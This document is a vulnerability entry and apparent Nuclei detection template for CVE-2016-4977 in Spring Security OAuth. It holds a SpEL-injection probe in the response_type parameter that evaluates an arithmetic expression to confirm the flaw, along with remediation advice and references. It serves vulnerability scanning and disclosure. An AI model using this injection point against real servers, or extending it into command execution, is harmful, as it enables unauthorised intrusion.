Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
PoC代码[已公开]
id: CVE-2016-4977
info:
name: Spring Security OAuth2 Remote Command Execution
author: princechaddha
severity: high
description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later.
reference:
- https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md
- https://tanzu.vmware.com/security/cve-2016-4977
- https://nvd.nist.gov/vuln/detail/CVE-2016-4977
- https://pivotal.io/security/cve-2016-4977
- http://www.openwall.com/lists/oss-security/2019/10/16/1
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2016-4977
cwe-id: CWE-19
epss-score: 0.94093
epss-percentile: 0.99902
cpe: cpe:2.3:a:pivotal:spring_security_oauth:1.0.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: pivotal
product: spring_security_oauth
tags: cve2016,cve,oauth2,oauth,rce,ssti,vulhub,spring,pivotal
http:
- method: GET
path:
- "{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Unsupported response types: [978015547]"
- type: status
status:
- 400
# digest: 4b0a004830460221009360e27286f7d9f0b73367dce47eb59a9df2127824ad1caf0e754a23ccb647f002210097dfc380ecef031725180b4be0e64222814fc76664f5af8e139900452dbd91f3:922c64590222798bb761d5b6d8e72950